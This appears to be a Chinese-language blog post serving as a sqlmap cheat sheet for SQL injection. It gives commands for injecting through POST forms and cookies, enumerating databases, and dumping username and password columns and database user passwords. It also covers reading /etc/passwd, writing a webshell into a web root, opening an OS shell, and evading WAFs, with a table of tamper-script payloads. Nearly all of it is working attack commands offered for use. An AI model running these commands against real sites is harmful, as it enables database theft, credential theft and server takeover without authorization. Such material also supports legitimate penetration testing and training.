sqlmap简单使用


sqlmap

POST登录框注入:

抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下

sqlmap.py -r 从文件读取数据 -p 指定的参数 –tables

sqlmap.py -r search-test.txt -p tfUPass

注:-r表示加载一个文件,-p指定参数

sqlmap.py -u 登录的地址 –forms 自动判断注入

指定参数搜索注入

sqlmap.py -u 登录的地址 –data “指定参数”

sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] –data “tfUName=321&tfUPass=321”

自动注册表单,截取数据。(直接在后面加[–forms])

sqlmap -u “http://www.xx.com/Login.asp" –forms

自动搜索表单的方式

sqlmap.py -u “http://192.168.160.1/sqltest/post.php" –forms

指定参数

sqlmap.py -u “http://www.xx.com/Login.asp" –data “标签名1=数据1&标签名2=数据2&标签名3=数据3…”

注:填写的数据可以随意写,但标签名一定要与input标签中的name一致,不同的标签名对应不同的name

sqlmap -u “http://www.xx.com/Login.asp" –data “Username=1&Password=1”

注:Username与Password分别为Login.asp页面中的两个输入框的名字,将鼠标移动到输入框上面右击选择“审查元素”即可看到,每台网页的Login页面都不一定是一样的

COOKIE提交

指定一个参数的方法

sqlmap -u http://xxx.xxx.com/Login.asp –data “n=1&p=1”

python sqlmap.py -u “url” –cookie “id=1” -v 1

cookie注入,猜解表

判断数据库,获取服务器,网站环境等参数

sqlmap.py -u “http://192.168.87.129/shownews.asp" –cookie “id=27“ –table –level 2

猜解字段,(通过1的表猜解字段,假如表为admin)

sqlmap.py -u http://www.xx.com/show.asp –cookie “id=187” –columns -T 数据表 –level 2

sqlmap.py -u “http://192.168.87.129/shownews.asp" –cookie “id=27” –columns -T admin –level 2

猜解内容

sqlmap.py -u http://www.xx.com/show.asp –cookie “id=187” –dump -T 表名 -C “字段名1,字段名2” –level 2

sqlmap.py -u “http://192.168.87.129/shownews.asp" –cookie “id=27” –dump -T admin -C “user,password” –level 2

SQLMAP中的请求延迟

参数 –delay –safe-freq

python sqlmap.py –dbs -u “http://xxx.cn/index.php/Index/view/id/40.html" –delay 1
python sqlmap.py –dbs -u “http://xxx.cn/index.php/Index/view/id/40.html" –safe-freq 3

使用多线程猜解

python sqlmap.py -u “url” -v 1 –current-user –threads 3

指定数据库,绕过SQLMAP的自动检测

python sqlmap.py -u “url” -v 2 –dbms “PostgreSQL”

指定操作系统绕过SQLMAP自动检测

python sqlmap.py -u “url” -v 2 –os “Windows”

union注入测试

python sqlmap.py -u “url” –union-test -v -1

绕过waf防火墙:

sqlmap.py -u 注入点 -v 3 –dbs –batch –tamper space2morehash.py,space2hash.py,base64encode.py,charencode.py

sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] -v 3 –dbs –batch –tamper “space2morehash.py”

SQLMAP用于mysql中DDOS攻击(1) 获取一个Shell

sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] –sql-shell

-u #注入点
-g 谷歌搜索
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
–sql -shell 写shell
–delay 延迟的时间
–safe-freq 次数
-v #详细的等级(0-6):
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头

6:显示HTTP响应页面的内容

SQLMAP注入点执行命令与交互写shell

sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] –os-cmd=ipconfig

sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] –os-shell

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)

–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)

–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

SQLMAP用于mysql注入

1) 查找数据库

python sqlmap.py -u “http://www.xxx.com/link.php?id=321" –dbs

2) 通过第一步的数据库查找表(假如数据库名为dataname)

python sqlmap.py -u “http://www.xxx.com/link.php?id=321" -D dataname –tables

3) 通过2中的表得出列名(假如表为table_name)

python sqlmap.py -u “http://www.xxx.com/link.php?id=321" -D dataname -T table_name –columns

4) 获取字段的值(假如扫描出id,user,password字段)

python sqlmap.py -u “http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C
“id,user,password” –dump

简单的注入流程

1.读取数据库版本,当前用户,当前数据库

sqlmap -u http://www.xxxxxx.com/ test.php?p=2 -f -b –current-user –current-db -v 1

2.判断当前数据库用户权限

sqlmap -u http://www.xxxxxx.com/ test.php?p=2 –privileges -U 用户名 -v 1
sqlmap -u http://www.xxxxxx.com/ test.php?p=2 –is-dba -U 用户名 -v 1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.xxxxxx.com/ test.php?p=2 –users –passwords -v 2
sqlmap -u http://www.xxxxxx.com/ test.php?p=2 –passwords -U root -v 2

4.获取所有数据库

sqlmap -u http://www.xxxxxx.com/ test.php?p=2 –dbs -v 2

5.获取指定数据库中的所有表

sqlmap -u http://www.xxxxxx.com/ test.php?p=2 –tables -D mysql -v 2

6.获取指定数据库名中指定表的字段

sqlmap -u http://www.xxxxxx.com/ test.php?p=2 –columns -D mysql -T users -v 2

7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.xxxxxx.com/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2

8.file-read读取web文件

sqlmap -u http://www.xxxxxx.com/ test.php?p=2 –file-read “/etc/passwd” -v 2

9.file-write写入文件到web

sqlmap -u http://www.xxxxxx.com/ test.php?p=2 –file-write /localhost/mm.php –file-dest

将本地的test.txt写入到站点服务器的html目录下

sqlmap.py -u “http://www.xxxxxx.com/sql-injection.php?id=1" –file-write /test/test.txt –file-dest /var/www/html/1.txt

获取字段中的内容

sqlmap -u “http://www.xxx.com/xx.asp?id=xxx” –dump -T 表名 -C “字段名1,字段名2…”

脱裤子

sqlmap.py -u url -D “data” -T “tables” -C “username,password,email” –dump –threads=5 –start=1 –stop=5000

sqlmap.py -u url -D “data” -T “tables” -C “username,password,email” –dump-all -v 0

sqlmap.py -u url 判断
sqlmap.py -u url –is-dba -v 这是判断当前数据库的使用者是否是dba
sqlmap.py -u url –users -v 0 这句的目的是列举数据库的用户
sqlmap.py -u url –passwords -v 0 这句的目的是获取数据库用户的密码
sqlmap.py -u url –privileges -v 0 这是判断当前的权限
sqlmap.py -u url –dbs -v 0 这句的目的是将所有的数据库列出来
sqlmap.py -u url –tables -D ‘表’ 爆表
sqlmap.py -u url –columns -T ‘表’-D ‘数据库’爆列
sqlmap.py -u url –dump -T ‘表’ –start 1 –stop 4 -v 0 这里是查询第2到第4行的内
sqlmap.py -u url –dump -all -v 0

sqlmap tamper

支持的数据库 编号 脚本名称 作用 实现方式
all 1 apostrophemask.py 用utf8代替引号 (“1 AND ‘1’=’1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
2 base64encode.py 用base64编码替换 (“1’ AND SLEEP(5)#”)’MScgQU5EIFNMRUVQKDUpIw==’
3 multiplespaces.py 围绕SQL关键字添加多个空格 (‘1 UNION SELECT foobar’)’1 UNION SELECT foobar’
4 space2plus.py 用+替换空格 (‘SELECT id FROM users’)’SELECT+id+FROM+users’
5 nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters (‘1 UNION SELECT 2–’)’1 UNIOUNIONN SELESELECTCT 2–’
6 space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集 (‘SELECT id FROM users’)’SELECT%0Did%0DFROM%0Ausers’
7 unionalltounion.py 替换UNION ALL SELECT UNION SELECT (‘-1 UNION ALL SELECT’)’-1 UNION SELECT’
8 securesphere.py 追加特制的字符串 (‘1 AND 1=1’)”1 AND 1=1 and ‘0having’=’0having’”
mssql 1 space2hash.py 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) ‘1 AND 9227=9227’ ‘1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’
2 equaltolike.py like 代替等号 * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
3 space2mssqlblank.py(mssql) 空格替换为其它空符号 Input: SELECT id FROM usersOutput: SELECT%08id%02FROM%0Fusers
4 space2mssqlhash.py 替换空格 (‘1 AND 9227=9227’)’1%23%0AAND%23%0A9227=9227’
5 between.py 用between替换大于号(>) (‘1 AND A > B–’)’1 AND A NOT BETWEEN 0 AND B–’
6 percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
7 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 (‘1 AND 9227=9227– ‘)’1 AND 9227=9227– sp_password’
8 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
9 randomcase.py 随机大小写 * Input: INSERT* Output: InsERt
10 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
11 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users* Output: SELECT//id//FROM/**/users
mysql >= 5.1.13 1 equaltolike.py like 代替等号 * Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
2 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’)’1 AND GREATEST(A,B+1)=A’
3 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
4 ifnull2ifisnull.py 绕过对 IFNULL 过滤。替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ (‘IFNULL(1, 2)’)’IF(ISNULL(1),2,1)’
5 space2mssqlhash.py 替换空格 (‘1 AND 9227=9227’)’1%23%0AAND%23%0A9227=9227’
6 modsecurityversioned.py 过滤空格,包含完整的查询版本注释 (‘1 AND 2>1–’)’1 /!30874AND 2>1/–’
7 space2mysqlblank.py 空格替换其它空白符号(mysql) Input: SELECT id FROM usersOutput: SELECT%0Bid%0BFROM%A0users
8 between.py 用between替换大于号(>) (‘1 AND A > B–’)’1 AND A NOT BETWEEN 0 AND B–’
9 modsecurityzeroversioned.py 包含了完整的查询与零版本注释 (‘1 AND 2>1–’)’1 /!00000AND 2>1/–’
10 space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) (‘1 AND 9227=9227’)’1–%0AAND–%0A9227=9227’
11 bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。然后替换=为like (‘SELECT id FROM users where id = 1’)’SELECT%09id FROM users where id LIKE 1’
12 percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
13 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
14 randomcase.py 随机大小写 * Input: INSERT* Output: InsERt
15 versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#* Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
16 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users* Output: SELECT//id//FROM/**/users
17 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
18 versionedmorekeywords.py 注释绕过 * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#* Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
MySQL < 5.1 19 halfversionedmorekeywords.py 关键字前加注释 * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa* Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’=’QDWa
20 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论 1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”)2.”value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa”
MySQL >= 5.1.13 21 space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符 * Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Oracle 1 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’)’1 AND GREATEST(A,B+1)=A’
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
3 between.py 用between替换大于号(>) (‘1 AND A > B–’)’1 AND A NOT BETWEEN 0 AND B–’
4 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
5 randomcase.py 随机大小写 * Input: INSERT* Output: InsERt
6 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
7 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users* Output: SELECT//id//FROM/**/users
PostgreSQL 1 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’)’1 AND GREATEST(A,B+1)=A’
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
3 between.py 用between替换大于号(>) (‘1 AND A > B–’)’1 AND A NOT BETWEEN 0 AND B–’
4 percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
5 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
6 randomcase.py 随机大小写 * Input: INSERT* Output: InsERt
7 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
8 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users* Output: SELECT//id//FROM/**/users
Access 1 appendnullbyte.py 在有效负荷结束位置加载零字节字符编码 (‘1 AND 1=1’)’1 AND 1=1%00’
其他 chardoubleencode.py 双url编码(不处理以编码的) * Input: SELECT FIELD FROM%20TABLE* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
unmagicquotes.py 宽字符绕过 GPC addslashes * Input: 1′ AND 1=1* Output: 1%bf%27 AND 1=1–%20
randomcomments.py 用/**/分割sql关键字 ‘INSERT’ becomes ‘IN//S//ERT’

文章作者: Lee Sun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lee Sun !
评论
  目录